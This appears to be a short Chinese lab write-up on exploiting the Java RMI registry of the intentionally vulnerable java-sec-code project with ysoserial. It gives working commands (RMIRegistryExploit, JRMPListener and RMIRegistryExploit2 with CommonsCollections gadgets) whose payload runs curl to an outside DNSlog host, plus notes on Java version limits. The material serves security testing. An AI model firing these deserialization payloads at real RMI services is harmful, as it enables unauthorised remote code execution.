java-sec-code中rmi
 暂时没有搞懂原理,这里只说明利用方法
 java-sec-code
 作者给出的是使用ysoserial进行利用
 测试环境搭建
 docker环境下,1099端口默认不开启,这里使用idea运行org.joychou.RMI.Server即可
 个人电脑java环境分为1.8.381 1.8.043 1.8.121
 
 

 测试Java 1.8.121上下版本不同利用方式,使用https://dig.pm/作为dnslog平台
java1.8.043环境
 poc
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099  CommonsCollections1 "curl xxxx.ipv6.1433.eu.org/aaa"

 dns平台有回显
java1.8.121
利用方式
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl d84d55bd53.ipv6.1433.eu.org/rmi'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.2.3 1099 192.168.2.5 12345
当然了,这两个命令都运行ysoserial-0.0.6-SNAPSHOT-all.jar是没有问题的,区别只在于ysoserial-0.0.6-SNAPSHOT-all.jar是添加了RMIRegistryExploit2,重新打包的,而ysoserial-all.jar是ysoserial作者提供的原生jar包
 
 java 1.8.381 利用不了 以目前的java版本来说,本人并没有找到相应的利用方法,可能只是图一乐呵
题外话
https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
https://github.com/frohoff/ysoserial
编译ysoserial可能会失败,建议在vps上面打包,使用mvn clean package -DskipTests命令进行打包,
 打包失败报错,如果显示是javax.interceptor-api:3.1失败的话,将pom.xml里面的version修改为1.2.2即可
<dependency><groupId>javax.interceptor</groupId><artifactId>javax.interceptor-api</artifactId><version>1.2.2</version>
</dependency>